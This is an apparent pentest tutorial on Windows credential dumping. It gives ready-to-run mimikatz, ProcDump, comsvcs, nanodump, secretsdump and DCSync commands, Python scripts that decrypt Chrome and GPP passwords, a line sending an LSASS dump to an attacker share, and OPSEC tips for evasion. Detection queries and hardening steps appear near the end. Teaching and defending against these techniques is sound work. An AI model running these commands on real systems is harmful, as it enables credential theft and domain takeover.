Introduction

Windows stores credentials in dozens of different locations. On a single Windows workstation in a domain environment, you can simultaneously find NT hashes and Kerberos tickets in LSASS memory, local account hashes in the SAM database, browser passwords protected by DPAPI, network credentials in Credential Manager, and legacy GPP passwords in SYSVOL. This complexity is a headache for defenders and a gold mine for attackers.

In 2011, French researcher Benjamin Delpy published a tool he called "mimikatz," fundamentally changing the Windows security world. Delpy proved that, contrary to Microsoft's claim that "cleartext passwords cannot be stored in memory," Windows was actually keeping cleartext passwords in LSASS memory through the WDigest authentication protocol. Since then, mimikatz has become an indispensable tool for penetration testing and real-world attacks, while MITRE ATT&CK T1003 (OS Credential Dumping) officially documents this attack family.

In this post we'll examine Windows credential access in depth: LSASS SSP architecture, the DPAPI key hierarchy, SAM and NTDS dump techniques, Credential Manager abuse, Chrome and Firefox password decryption mechanisms, and GPP credentials. For every technique we'll provide real commands, OPSEC ratings, and detection guidance.

1. LSASS (Local Security Authority Subsystem Service) In Depth

LSASS is the heart of Windows authentication infrastructure. It manages all logon operations, processes Kerberos tickets, implements NTLM challenge-response, and keeps credentials associated with user sessions in memory. Its PID is typically in the 600s range (varies by system configuration) and it lives at C:\Windows\System32\lsass.exe.

LSASS's critical feature is its use of dynamically loadable modules called Security Support Providers (SSPs) to support different authentication protocols. Each SSP holds different types of credentials in memory, and accessing those credentials means reaching the data that SSP has stored.

1.1 Security Support Provider Details

msv1_0.dll — NTLM Authentication

The module managing NTLM authentication. Holds in memory:

• NT hash: MD4 hash of the user's password. Can be used directly in Pass-the-Hash attacks.
• LM hash: Still present on older systems. Trivially crackable.
• NTLMv1/v2 challenge-response: Session hashes used in NTLM handshakes.
• Session keys: Key material used for SMB signing and encryption.

mimikatz command: sekurlsa::msv or sekurlsa::logonpasswords

kerberos.dll — Kerberos Protocol

Manages Kerberos, the primary authentication protocol in Active Directory environments. Holds in memory:

• TGT (Ticket Granting Ticket): Ticket received from AS-REP. Can be used without logging into a Domain Controller.
• TGS (Ticket Granting Service): Service tickets used to access specific services.
• Session keys: Encryption keys associated with TGTs and TGSes.
• APREQ tokens: Tokens prepared for service authentication.

mimikatz commands: sekurlsa::kerberos, kerberos::list /export

Important: Kerberos tickets can be used in pass-the-ticket attacks. With a TGT, you can request any TGS on behalf of that user. If the krbtgt hash is obtained, a Golden Ticket can be forged.

wdigest.dll — HTTP Digest Authentication

Designed for HTTP Digest authentication, this module was forced to keep cleartext passwords in memory due to the protocol's requirement. This was precisely the security vulnerability Benjamin Delpy discovered that shocked the world.

• Windows 7 / Server 2008: Default ON. Cleartext passwords present in LSASS memory.
• Windows 8.1 / Server 2012 R2+: Default OFF. Disabled via KB2871997.
• Re-enabling: HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest\UseLogonCredential = 1

Attackers can set this registry key to 1 and wait for the victim to log in again to obtain the cleartext password. However, this leaves artifacts.

mimikatz command: sekurlsa::wdigest

tspkg.dll — Terminal Services / RDP Credentials

Manages Terminal Services authentication. Can hold cleartext username and password in memory if active RDP sessions exist. Especially valuable on jump servers or RDP gateway systems.

mimikatz command: sekurlsa::tspkg

livessp.dll — Microsoft Account (Live ID)

The SSP used for Microsoft account authentication during the Windows 8 and 8.1 era. Largely supplanted by cloudap.dll today.

mimikatz command: sekurlsa::livessp

cloudap.dll — Azure AD / Windows Hello

Manages Azure Active Directory (Entra ID) authentication on modern Windows devices. Holds in memory:

• PRT (Primary Refresh Token): Long-lived token used for Azure AD sessions. With this token, new access tokens and refresh tokens can be obtained.
• Windows Hello keys: Private keys used for PIN or biometric authentication.
• Nonces and proof tokens: Cryptographic material for communication with Azure AD.

mimikatz command: sekurlsa::cloudap

Note: Stealing a PRT can bypass MFA and grant access to the Azure portal, Microsoft 365, Teams, and all Azure resources. This is known as a "Pass-the-PRT" attack.

credssp.dll — Credential Security Support Provider

Manages Network Level Authentication (NLA) and the CredSSP protocol. Passes full credentials to the remote system during RDP connections. After the connection is established, these credentials appear in the remote system's LSASS memory.

mimikatz command: sekurlsa::credman

1.2 LSASS Dump Techniques

Multiple methods exist for dumping LSASS. Each has a different OPSEC profile and privilege requirement:

Method 1: Task Manager (GUI)

The easiest and noisiest method. Requires an interactive session.

# Task Manager → Details tab → lsass.exe
# Right-click → "Create dump file"
# Output: C:\Users\[user]\AppData\Local\Temp\lsass.DMP
# OPSEC: VERY HIGH — triggers Sysmon Event 10

Method 2: ProcDump (Microsoft Signed)

The Sysinternals ProcDump tool is digitally signed by Microsoft. This can bypass some older AV solutions. However, modern EDRs detect this tool's access to lsass.exe.

:: Basic usage
procdump.exe -ma lsass.exe lsass_dump.dmp

:: Silent (auto-accept EULA)
procdump.exe -ma -accepteula lsass.exe C:\temp\lsass.dmp

:: By PID instead of process name
procdump.exe -ma 640 C:\temp\lsass.dmp

:: OPSEC: HIGH — Sysmon Event 10, Defender ATP alert

Method 3: comsvcs.dll MiniDump (LOLBin)

This technique uses the MiniDump export function from comsvcs.dll, which is built into the system. No external tools required — hence "Living off the Land Binary (LOLBin)."

# Get LSASS PID and create dump
$LSASS = (Get-Process lsass).Id
rundll32.exe C:\Windows\System32\comsvcs.dll MiniDump $LSASS C:\temp\lsass.dmp full

# One-liner with variable
$p=(Get-Process l*s).Id; rundll32 $env:SystemRoot\System32\comsvcs.dll, MiniDump $p $env:TEMP\out.dmp full; Wait-Job -Any

# OPSEC: MEDIUM — rundll32 + comsvcs combination gets flagged
# Sysmon Event 11 (file create), Event 10 (process access)

Method 4: nanodump (PPL Bypass)

nanodump is an advanced LSASS dump tool that bypasses PPL (Protected Process Light) protection. Rather than opening a process handle, it uses process forking or handle duplication techniques.

# Basic usage
nanodump.exe --write C:\temp\lsass.dmp

# Specify PID
nanodump.exe -p 640 --write C:\temp\lsass.dmp

# Handle duplicate method (stealthier)
nanodump.exe --dup --write C:\temp\lsass.dmp

# Remote via SMB (from C2)
nanodump.exe -p 640 --dup --write \\attacker\share\lsass.dmp

# OPSEC: LOW — kernel-level events only, user-mode monitoring bypassed
# May require kernel driver or exploit for PPL bypass

Method 5: SilentProcessExit

A stealthy technique using Windows error reporting mechanisms:

# Trigger dump via registry keys
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\lsass.exe" /v ReportingMode /t REG_DWORD /d 1 /f
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\lsass.exe" /v MonitorProcess /t REG_SZ /d "C:\Windows\System32\cmd.exe" /f

# OPSEC: HIGH — registry change + process kill is very noisy

Method 6: Impacket secretsdump (Remote)

# Username/password
python3 secretsdump.py corp.local/administrator:'Password123'@10.10.10.10

# NT hash (Pass-the-Hash)
python3 secretsdump.py -hashes :aad3b435b51404eeaad3b435b51404ee:NT_HASH_HERE administrator@10.10.10.10

# Kerberos ticket
python3 secretsdump.py -k -no-pass corp.local/administrator@10.10.10.10

# SAM only
python3 secretsdump.py -sam SAM -system SYSTEM LOCAL

# OPSEC: LOW/MEDIUM — network-only, no local process access
# DCSync mode triggers Event 4662

1.3 Extracting Hashes with mimikatz

After obtaining a dump file, or directly on the system, mimikatz is used to extract credentials:

# First acquire debug privilege (SeDebugPrivilege — requires SYSTEM)
privilege::debug

# Get credentials for all logged-in users
# NT hash + cleartext (if WDigest active) + Kerberos tickets
sekurlsa::logonpasswords

# WDigest cleartext passwords only
sekurlsa::wdigest

# Kerberos TGT and TGS tickets
sekurlsa::kerberos

# RDP (TS) credentials
sekurlsa::tspkg

# NTLM credentials
sekurlsa::msv

# Azure AD PRT tokens
sekurlsa::cloudap

# Credential Manager credentials
sekurlsa::credman

# ============================================================
# Offline extraction from dump file (no mimikatz on target)
# ============================================================

# Load the dump file first
sekurlsa::minidump C:\temp\lsass.dmp

# All commands now read from dump
sekurlsa::logonpasswords

# Local hashes from SAM database
lsadump::sam

# LSA secrets (service account passwords, auto-logon)
lsadump::secrets

# Cached domain credentials (DCC2 format)
lsadump::cache

# Extract domain backup key
lsadump::backupkeys /system:DC01.corp.local /export

# DCSync — pull a specific user's hash from DC
lsadump::dcsync /domain:corp.local /user:administrator
lsadump::dcsync /domain:corp.local /all /csv

1.4 Credential Guard

Microsoft introduced Credential Guard in Windows 10 version 1511. This feature uses Hyper-V-based virtualization to run LSASS in an isolated environment (VSM — Virtual Secure Mode / VTL1).

What Credential Guard protects:

• NT hashes (msv1_0.dll) — now in VTL1, inaccessible from user mode
• Kerberos TGT/TGS — now in VTL1
• WDigest cleartext passwords — completely blocked

What Credential Guard does NOT protect:

• Local hashes in the SAM database
• NTDS.dit (domain hashes)
• DPAPI master keys
• Browser passwords
• Network-captured NTLM hashes (Responder etc.)
• Credential Manager vault entries

# Check Credential Guard status
(Get-CimInstance -Namespace root/Microsoft/Windows/DeviceGuard -Class Win32_DeviceGuard).SecurityServicesRunning
# 1 = Credential Guard active, 2 = HVCI active

# Registry check
reg query "HKLM\SYSTEM\CurrentControlSet\Control\DeviceGuard" /v EnableVirtualizationBasedSecurity
reg query "HKLM\SYSTEM\CurrentControlSet\Control\Lsa" /v LsaCfgFlags

2. SAM Database (Security Account Manager)

The SAM database is a critical file where Windows stores local user account credentials. Physical location: C:\Windows\System32\config\SAM

The SAM file is encrypted with a system-specific boot key (syskey/bootkey). The SYSTEM hive file (C:\Windows\System32\config\SYSTEM) is also required to decrypt it.

On a running system the SAM file is locked; it must be copied via Volume Shadow Copy (VSS) or registry export.

2.1 SAM Dump Techniques

Via Volume Shadow Copy (VSS)

:: Create VSS snapshot
vssadmin create shadow /for=C:

:: List shadow copies to find the path
vssadmin list shadows

:: Copy SAM and SYSTEM (adjust shadow copy path)
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SAM C:\temp\SAM
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SYSTEM C:\temp\SYSTEM

:: Cleanup
vssadmin delete shadows /shadow:{GUID}

:: Extract hashes with impacket
python3 secretsdump.py -sam C:\temp\SAM -system C:\temp\SYSTEM LOCAL

Via Registry Export (interactive session)

:: Export SAM, SYSTEM, and SECURITY hives via registry
reg save HKLM\SAM C:\temp\SAM.hive
reg save HKLM\SYSTEM C:\temp\SYSTEM.hive
reg save HKLM\SECURITY C:\temp\SECURITY.hive

:: Local impacket analysis
python3 secretsdump.py -sam SAM.hive -security SECURITY.hive -system SYSTEM.hive LOCAL

Via mimikatz (live system)

privilege::debug
token::elevate        # Get SYSTEM token
lsadump::sam          # Extract hashes from SAM

2.2 LSA Secrets

LSA Secrets is a special structure in the HKLM\SECURITY\Policy\Secrets registry key containing system-level secrets including:

• _SC_ServiceName: Passwords for accounts running Windows services
• DefaultPassword: Auto-logon password
• NL$KM: Encryption key for cached domain credentials
• $MACHINE.ACC: Domain machine account password (changes every 30 days)
• DPAPI_SYSTEM: System-level DPAPI master key

# mimikatz
privilege::debug
token::elevate
lsadump::secrets

# Impacket
python3 secretsdump.py corp.local/administrator:'Password123'@10.10.10.10 -just-lsa

2.3 Cached Domain Credentials (DCC2)

Windows caches the last 10 domain credentials so users can log in even without network connectivity to a domain controller. These are stored under HKLM\SECURITY\Cache as NL$1, NL$2, etc.

Hash format: DCC2 (MS-Cache v2) — hashcat mode -m 2100

DCC2 hashes cannot be used in network authentication (Pass-the-Hash does not work). However, they can be cracked to recover cleartext passwords. Cracking is much slower than Kerberoasting.

# mimikatz
privilege::debug
token::elevate
lsadump::cache

# Hashcat cracking
hashcat -m 2100 dcc2_hash.txt wordlist.txt
# Format: $DCC2$10240#username#hash

# Example
hashcat -m 2100 '$DCC2$10240#administrator#a4bcd...' rockyou.txt --rules best64.rule

3. DPAPI (Data Protection API) In Depth

DPAPI is the encryption infrastructure Microsoft built into Windows to store user secrets. It has been present since 1999 and its use is extremely widespread: Chrome passwords, Credential Manager, Wi-Fi passwords, EFS keys, certificate private keys and more are all protected by DPAPI.

DPAPI's core principle: the encryption key is derived from the user's password. This means the user can access their data when logged in, but the data is inaccessible when the session is closed. However, this design has one critical weakness: the domain backup key.

3.1 DPAPI Key Hierarchy

Level 1: Domain Backup Key

In Active Directory environments, a special "DPAPI backup key" is stored on the Domain Controller. This key is used to encrypt all users' master keys across the domain. Anyone who possesses this key can decrypt the DPAPI secrets of every user on the domain.

• Location: DC's LSASS memory and AD database
• Replicated to all DCs
• Requires Domain Admin rights
• Does not change for years (danger!)

# mimikatz
lsadump::backupkeys /system:DC01.corp.local /export
# Output: ntds_capi_*.pvk and ntds_legacyapi_*.pvk files

# Impacket dpapi.py
python3 dpapi.py backupkeys --export -t corp.local/administrator:'Password123'@DC01.corp.local

Level 2: User Master Key

Each user has one or more master keys, stored as GUID-named files in the user profile folder:

# Master key location
%APPDATA%\Microsoft\Protect\{SID}\{GUID}
# Example:
C:\Users\jdoe\AppData\Roaming\Microsoft\Protect\S-1-5-21-...-1001\{3a4b5c6d-...}

The master key is derived from the user's password and SID (PBKDF2 + HMAC-SHA1). In domain environments an additional copy encrypted with the domain backup key is also present.

Level 3: DPAPI_BLOB

Every encrypted piece of data is in DPAPI_BLOB format. The blob's header contains the master key GUID that was used, allowing the correct master key to be located during decryption.

Level 4: Protected Secret

The actual secret revealed after decrypting the blob: a browser password, Wi-Fi key, certificate private key, etc.

3.2 DPAPI Attack Techniques

Bulk Decryption with Domain Backup Key

# 1. Obtain backup key (DA rights required)
python3 dpapi.py backupkeys --export -t corp.local/administrator:'Password123'@DC01
# or via mimikatz:
lsadump::backupkeys /system:DC01.corp.local /export

# 2. Use SharpDPAPI to decrypt all domain users' secrets
# (Decrypt master keys with backup key, then decrypt blobs)
SharpDPAPI.exe triage /pvk:backup_key.pvk

# Credential Manager vault entries only
SharpDPAPI.exe vaults /pvk:backup_key.pvk

# Chrome passwords
SharpDPAPI.exe logins /pvk:backup_key.pvk

# Certificates
SharpDPAPI.exe certificates /pvk:backup_key.pvk

DonPAPI (From Linux)

# Pull all DPAPI secrets from a Linux attack machine
python3 DonPAPI.py corp.local/administrator:'Password123'@10.10.10.10

# Scan entire domain
python3 DonPAPI.py corp.local/administrator:'Password123'@10.10.10.0/24

# Look for credential files
python3 DonPAPI.py corp.local/administrator:'Password123'@10.10.10.10 --credz

Offline DPAPI Analysis

# Decrypt a specific DPAPI blob
mimikatz: dpapi::blob /in:C:\temp\blob.bin /masterkey:<hex_masterkey>

# Decrypt a credential file
mimikatz: dpapi::cred /in:C:\Users\jdoe\AppData\Roaming\Microsoft\Credentials\{GUID}

# Decrypt master key (if user password is known)
mimikatz: dpapi::masterkey /in:C:\...\{GUID} /password:Password123

# Decrypt master key (with domain backup key)
mimikatz: dpapi::masterkey /in:C:\...\{GUID} /pvk:backup.pvk

3.3 System-Level DPAPI

System (MACHINE) level DPAPI protects secrets in the SYSTEM account context. The encryption key is derived from the machine SID and LSA boot key. These secrets include:

• Scheduled task passwords
• Wi-Fi PSK keys (C:\ProgramData\Microsoft\Wlansvc\Profiles\Interfaces\)
• RDP saved connection passwords (in SYSTEM context)
• DPAPI_SYSTEM secret (in LSA Secrets)

# Decrypt system DPAPI master key (with SYSTEM privileges)
mimikatz:
privilege::debug
token::elevate
dpapi::masterkey /in:"C:\Windows\System32\Microsoft\Protect\S-1-5-18\{GUID}" /system

# Decrypt Wi-Fi passwords
netsh wlan export profile folder=C:\temp key=clear
# or SharpDPAPI:
SharpDPAPI.exe wifi

4. Browser Credentials

Modern browsers store passwords locally for user convenience. Although these storage mechanisms use different encryption methods, they ultimately rely on OS-level secrets (DPAPI or NSS), making them valuable targets for attackers.

4.1 Chrome / Edge / Chromium-Based Browsers

Chrome's password storage architecture:

• Login Data: SQLite database — %LOCALAPPDATA%\Google\Chrome\User Data\Default\Login Data
• Local State: JSON file — %LOCALAPPDATA%\Google\Chrome\User Data\Local State
• Encryption: AES-256-GCM (Chrome 80+). Encryption key stored as a DPAPI blob in Local State.

Decryption flow:

1. Extract os_crypt.encrypted_key field from Local State JSON
2. Base64 decode → DPAPI blob with DPAPI\x01 prefix
3. Decrypt DPAPI blob with CryptUnprotectData() → AES-256 key
4. Query logins table from Login Data SQLite → password_value column
5. Decrypt with AES-256-GCM (nonce is first 12 bytes after 3-byte v10 prefix)

# HackBrowserData (cross-platform)
./hack-browser-data -b chrome -o output/
./hack-browser-data -b all -o output/

# SharpChrome (Windows C# — SpecterOps)
SharpChrome.exe logins        # all saved logins
SharpChrome.exe cookies       # session cookies
SharpChrome.exe history       # browsing history
SharpChrome.exe logins /server:dc01.corp.local  # remote

# Python manual decryption example
import sqlite3, json, base64
from Cryptodome.Cipher import AES
import win32crypt

# Get AES key from Local State
with open(r'%LOCALAPPDATA%\Google\Chrome\User Data\Local State') as f:
    local_state = json.load(f)
encrypted_key = base64.b64decode(local_state['os_crypt']['encrypted_key'])[5:]  # skip DPAPI prefix
aes_key = win32crypt.CryptUnprotectData(encrypted_key, None, None, None, 0)[1]

# Get encrypted passwords from Login Data
conn = sqlite3.connect(r'%LOCALAPPDATA%\Google\Chrome\User Data\Default\Login Data')
cursor = conn.execute("SELECT origin_url, username_value, password_value FROM logins")
for url, username, encrypted_password in cursor.fetchall():
    nonce = encrypted_password[3:15]   # post-v10: 3 byte prefix + 12 byte nonce
    ciphertext = encrypted_password[15:-16]
    tag = encrypted_password[-16:]
    cipher = AES.new(aes_key, AES.MODE_GCM, nonce)
    plaintext = cipher.decrypt_and_verify(ciphertext, tag)
    print(f"{url} | {username} | {plaintext.decode()}")

# DonPAPI (from Linux, as domain user)
python3 DonPAPI.py corp.local/jdoe:'Password123'@10.10.10.50

4.2 Firefox / Firefox-Based Browsers

Firefox uses a different encryption infrastructure than Chromium: NSS (Network Security Services):

• key4.db: NSS key database (SQLite format)
• logins.json: Encrypted login data (JSON format)
• Encryption: 3DES-CBC or AES-256-CBC via NSS
• Master Password: Optional additional protection. If not set, machine-specific key material is used.

# Firefox profile location:
# Windows: %APPDATA%\Mozilla\Firefox\Profiles\{profile}.default-release\
# Linux: ~/.mozilla/firefox/{profile}.default-release/

# firefox_decrypt (Python)
python3 firefox_decrypt.py /path/to/firefox/profile/
# Will prompt for master password (leave blank if not set)

# firepwd (Python — works on older profiles too)
python3 firepwd.py -d /path/to/profile/ -p master_password

# SharpWeb (C# — from Windows)
SharpWeb.exe all

# LaZagne (multi-browser)
python3 laZagne.py browsers
python3 laZagne.py all  # all secrets

4.3 OPSEC Note: Accessing Browser Passwords

Chrome's Login Data file is locked while the browser is running. You can copy the file and analyze the copy:

:: Copy Login Data while Chrome is running
copy "%LOCALAPPDATA%\Google\Chrome\User Data\Default\Login Data" C:\temp\LoginData

:: Then analyze the copy (even if the original is locked)
:: SharpChrome handles the copy operation automatically

5. Windows Credential Manager (Vault)

Windows Credential Manager stores network credentials, website passwords, and general application credentials with DPAPI protection. Location: %APPDATA%\Microsoft\Credentials\ and %LOCALAPPDATA%\Microsoft\Credentials\

Vault entries fall into two categories:

• Windows Credentials: Credentials for network shares and Remote Desktop connections
• Certificate-Based Credentials: Certificate-based credentials
• Generic Credentials: Application-level saved username/password pairs

# List saved credentials from command line
cmdkey /list

# Read Vault with PowerShell (Windows Runtime API)
[void][Windows.Security.Credentials.PasswordVault,Windows.Security.Credentials,ContentType=WindowsRuntime]
$vault = New-Object Windows.Security.Credentials.PasswordVault
$vault.RetrieveAll() | ForEach-Object {
    $_.RetrievePassword()
    [PSCustomObject]@{
        UserName = $_.UserName
        Resource = $_.Resource
        Password = $_.Password
    }
}

# mimikatz
vault::list     # list all vault entries
vault::cred /patch   # decrypt credentials

# SharpDPAPI
SharpDPAPI.exe vaults
SharpDPAPI.exe credentials

# Decrypt physical credential files
# Location: %APPDATA%\Microsoft\Credentials\ and %LOCALAPPDATA%\Microsoft\Credentials\
dpapi::cred /in:"%APPDATA%\Microsoft\Credentials\{GUID}" /masterkey:<hex>

Credential Manager is particularly valuable because users often save critical system passwords — including domain admin accounts — here.

6. GPP Credentials (MS14-025)

Group Policy Preferences (GPP) allows system administrators to make configuration changes across the domain. A feature widely used between 2006 and 2014 used a cPassword field in Group Policy XML files for creating local administrator accounts or setting passwords.

These XML files are stored in SYSVOL and anyone who is a domain member can read them. Microsoft encrypted the passwords with AES-256 — but also published the encryption key publicly in MSDN documentation!

Microsoft addressed this vulnerability in 2014 with the MS14-025 patch (GPP can no longer use the cPassword field), but legacy configurations may still be sitting in SYSVOL.

# Search SYSVOL for XML files containing cPassword
findstr /S /I cPassword \\CORP.LOCAL\SYSVOL\CORP.LOCAL\Policies\*.xml

# CrackMapExec automatic check
crackmapexec smb 10.10.10.10 -u jdoe -p 'Password123' -M gpp_autologin
crackmapexec smb 10.10.10.10 -u jdoe -p 'Password123' -M gpp_password

# Metasploit modules
# use post/windows/gather/credentials/gpp
# use auxiliary/scanner/smb/smb_enumgpp

# Impacket
python3 Get-GPPPassword.py corp.local/jdoe:'Password123'@10.10.10.10

# PowerSploit (older but still works)
# Get-GPPPassword
# Get-GPPAutologon

# Python manual decrypt (AES CBC, public key!)
import base64
from Cryptodome.Cipher import AES
from Cryptodome.Util.Padding import unpad

# Microsoft's published AES key (32 bytes)
key = bytes.fromhex('4e9906e8fcb66cc9faf49310620ffee8f496e806cc057990209b09a433b66c1b')

def decrypt_gpp_password(cpassword):
    # Fix base64 padding
    padding = len(cpassword) % 4
    if padding:
        cpassword += '=' * (4 - padding)
    decoded = base64.b64decode(cpassword)
    # AES-256-CBC, IV = 0
    iv = b'\x00' * 16
    cipher = AES.new(key, AES.MODE_CBC, iv)
    decrypted = unpad(cipher.decrypt(decoded), 16)
    return decrypted.decode('utf-16-le')

# Take cPassword value from GPP XML and decrypt
cpassword = "edBSHOwhZLTjt/QS9FeIcJ83mjWA98gw9guKOhJOdcqh+ZGMeXOsQbCpZ3xUjTLfCuNH8pG5aSVYdYw+srsIA"
print(decrypt_gpp_password(cpassword))

6.1 Scope of the GPP Vulnerability

XML file types that may contain passwords via GPP:

• Groups.xml: Local group memberships and passwords
• Services.xml: Windows service configurations
• Scheduledtasks.xml: Scheduled task credentials
• Datasources.xml: Database connection information
• Printers.xml: Printer credentials
• Drives.xml: Drive mapping credentials

7. NTDS.dit Extraction (Domain Hash Dumping)

NTDS.dit is Active Directory's main database. It resides on the Domain Controller at C:\Windows\NTDS\ntds.dit and contains NT hashes for all domain user accounts. Obtaining this file means acquiring the credentials of the entire domain.

7.1 Copying NTDS.dit via VSS

:: Create VSS snapshot on DC (with SYSTEM privileges)
vssadmin create shadow /for=C:

:: Find shadow copy path
vssadmin list shadows

:: Copy NTDS and SYSTEM
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\NTDS\ntds.dit C:\temp\ntds.dit
reg save HKLM\SYSTEM C:\temp\SYSTEM.hive

:: Clean up snapshot
vssadmin delete shadows /shadow:{GUID} /quiet

:: Extract hashes
python3 secretsdump.py -ntds C:\temp\ntds.dit -system C:\temp\SYSTEM.hive LOCAL -outputfile hashes

7.2 DCSync (Remote, Over the Network)

DCSync is a technique for pulling hashes from a DC using the replication protocol (DRSUAPI) without actually copying the NTDS.dit file. Advantage: no physical access to the DC — only network access and appropriate rights.

Required rights: DS-Replication-Get-Changes and DS-Replication-Get-Changes-All (held by Domain Admins and Domain Controllers by default)

# mimikatz DCSync
lsadump::dcsync /domain:corp.local /user:administrator
lsadump::dcsync /domain:corp.local /user:krbtgt  # For Golden Ticket!
lsadump::dcsync /domain:corp.local /all /csv     # All hashes in CSV format

# Impacket
python3 secretsdump.py corp.local/administrator:'Password123'@DC01.corp.local -just-dc
python3 secretsdump.py -hashes :NT_HASH administrator@DC01.corp.local -just-dc-ntlm

# CrackMapExec
crackmapexec smb DC01.corp.local -u administrator -p 'Password123' --ntds

# Grant DCSync rights (delegable — does not require DA)
# PowerView:
Add-DomainObjectAcl -TargetIdentity "DC=corp,DC=local" -PrincipalIdentity jdoe -Rights DCSync

7.3 Via ntdsutil (LOLBin)

:: ntdsutil — Windows built-in Active Directory management tool
ntdsutil "activate instance ntds" "ifm" "create full C:\temp\ntds_backup" "quit" "quit"

:: This creates under C:\temp\ntds_backup\:
:: Active Directory\ntds.dit
:: registry\SYSTEM

:: Extract hashes
python3 secretsdump.py -ntds "C:\temp\ntds_backup\Active Directory\ntds.dit" -system "C:\temp\ntds_backup\registry\SYSTEM" LOCAL

8. OPSEC Assessment and Detection Guide

8.1 Critical Windows Event IDs

• Event 4611: A trusted logon process has been registered with LSASS
• Event 4625: Failed logon attempt
• Event 4661: A handle was requested to SAM, NTDS, or SECURITY object
• Event 4662: An operation was performed on an Active Directory object (critical for DCSync)
• Event 4688: New process created (mimikatz.exe detection)
• Event 4698/4699: Scheduled task created/deleted
• Sysmon Event 10: ProcessAccess — detecting handle opened to lsass.exe
• Sysmon Event 11: FileCreate — detecting .dmp file creation
• Sysmon Event 12/13: RegistryEvent — WDigest registry modification

8.2 Sysmon Configuration (LSASS Protection)

<!-- sysmonconfig.xml -- lsass process access detection -->
<ProcessAccess onmatch="include">
  <TargetImage condition="is">C:\Windows\system32\lsass.exe</TargetImage>
</ProcessAccess>

<!-- Result: every LSASS handle open is logged as Event 10 -->
<!-- Correlation rule: many Event 10s = credential dump attempt -->

8.3 LSASS Access Detection (KQL — Microsoft Sentinel)

// LSASS Memory Access Detection
SecurityEvent
| where EventID == 10  // Sysmon ProcessAccess
| where TargetImage contains "lsass.exe"
| where not(InitiatingProcessName in~ ("svchost.exe", "wininit.exe", "csrss.exe"))
| project TimeGenerated, Computer, InitiatingProcessName, InitiatingProcessCommandLine, TargetImage, GrantedAccess
| order by TimeGenerated desc

// DCSync Detection (Event 4662)
SecurityEvent
| where EventID == 4662
| where Properties has "1131f6aa-9c07-11d1-f79f-00c04fc2dcd2"  // DS-Replication-Get-Changes-All
   or Properties has "1131f6ab-9c07-11d1-f79f-00c04fc2dcd2"
| where SubjectUserName != "DOMAIN_CONTROLLER$"
| project TimeGenerated, Computer, SubjectUserName, ObjectName, Properties

8.4 Technique-by-Technique Detection Summary

9. Defensive Measures

9.1 LSASS Protection

# Enable PPL (Protected Process Light) for LSASS
reg add "HKLM\SYSTEM\CurrentControlSet\Control\Lsa" /v RunAsPPL /t REG_DWORD /d 1 /f

# Credential Guard GPO path:
# Computer Configuration > Administrative Templates > System >
# Device Guard > Turn On Virtualization Based Security
# + Credential Guard Configuration: Enable with UEFI lock

# Disable WDigest (should already be off, enforce via GPO)
reg add "HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest" /v UseLogonCredential /t REG_DWORD /d 0 /f

9.2 Audit Policy

:: Configure advanced audit policy
auditpol /set /subcategory:"Credential Validation" /success:enable /failure:enable
auditpol /set /subcategory:"Security Account Manager" /success:enable
auditpol /set /subcategory:"Directory Service Access" /success:enable /failure:enable
auditpol /set /subcategory:"Logon" /success:enable /failure:enable

:: Install Sysmon (SwiftOnSecurity config)
:: https://github.com/SwiftOnSecurity/sysmon-config
sysmon.exe -accepteula -i sysmonconfig.xml

9.3 GPP Cleanup

:: Scan SYSVOL for GPP passwords
findstr /S /I cPassword \\CORP.LOCAL\SYSVOL\CORP.LOCAL\Policies\*.xml

:: Clean cPassword fields from any found XML files
:: Change passwords of any accounts found

:: MS14-025 patch should already be applied — verify:
wmic qfe get HotFixID | findstr KB2962486

9.4 DPAPI Security Hardening

• Rotate the domain backup key regularly (at least annually)
• Move critical secrets from DPAPI to HSM or Azure Key Vault
• Use Privileged Identity Management (PIM) for DCSync rights
• Use Microsoft Defender for Identity (MDI) for DCSync and Golden Ticket detection
• Apply Tiered Administration Model: Domain Admin accounts used only on DCs
• Enforce Tier 0 isolation — no DA sessions on workstations or member servers
• LAPS (Local Administrator Password Solution) for unique local admin passwords
• Monitor SYSVOL for lingering GPP XML files with cPassword

9.5 Additional Hardening Controls

# Enable Windows Defender Application Control (WDAC)
# Blocks unsigned/untrusted binaries — prevents loading of attack tools

# Configure LAPS for all workstations
# Unique 256-bit random passwords for local Administrator account
Install-Module AdmPwd.PS
Update-AdmPwdADSchema
Set-AdmPwdComputerSelfPermission -OrgUnit "OU=Workstations,DC=corp,DC=local"

# Block credential theft via Attack Surface Reduction (ASR) rules
# Rule: Block credential stealing from Windows local security authority subsystem
Set-MpPreference -AttackSurfaceReductionRules_Ids 9e6c4e1f-7d60-472f-ba1a-a39ef669e4b0 -AttackSurfaceReductionRules_Actions Enabled

# Enforce Protected Users security group for privileged accounts
# Members cannot use: NTLM, WDigest, CredSSP, unconstrained delegation
Add-ADGroupMember -Identity "Protected Users" -Members "DA_jsmith","SA_backup"

10. Attack Chain: Putting It All Together

A realistic credential access attack chain in a domain environment might look like this:

Phase 1 — Initial Access: Phishing or public-facing exploit gives workstation access as a low-privilege domain user.

Phase 2 — Local Privilege Escalation: Token impersonation, Potato attacks, or UAC bypass to obtain local admin or SYSTEM.

Phase 3 — Local Credential Harvest:

• lsadump::sam → local NT hashes (may include shared admin passwords)
• vault::list + vault::cred → Credential Manager (may contain domain creds)
• SharpChrome.exe logins → browser passwords (may include internal app creds)

Phase 4 — Lateral Movement: Using harvested creds to reach more systems. Prioritize jump servers, admin workstations, and servers with privileged sessions.

Phase 5 — Domain Escalation:

• On a machine where a DA has logged in: sekurlsa::logonpasswords → DA NT hash or TGT
• Or: lsadump::dcsync /domain:corp.local /user:krbtgt if DCSync rights obtained

Phase 6 — Persistence:

• Golden Ticket (krbtgt hash) — valid 10 years, survives password changes
• Silver Ticket (service account hash) — service-specific, harder to detect
• Domain backup key export → offline DPAPI decryption forever

11. References and Resources

• Benjamin Delpy (gentilkiwi): mimikatz — github.com/gentilkiwi/mimikatz
• SpecterOps: SharpDPAPI, SharpChrome — github.com/GhostPack
• Impacket (SecureAuth): secretsdump.py, dpapi.py — github.com/fortra/impacket
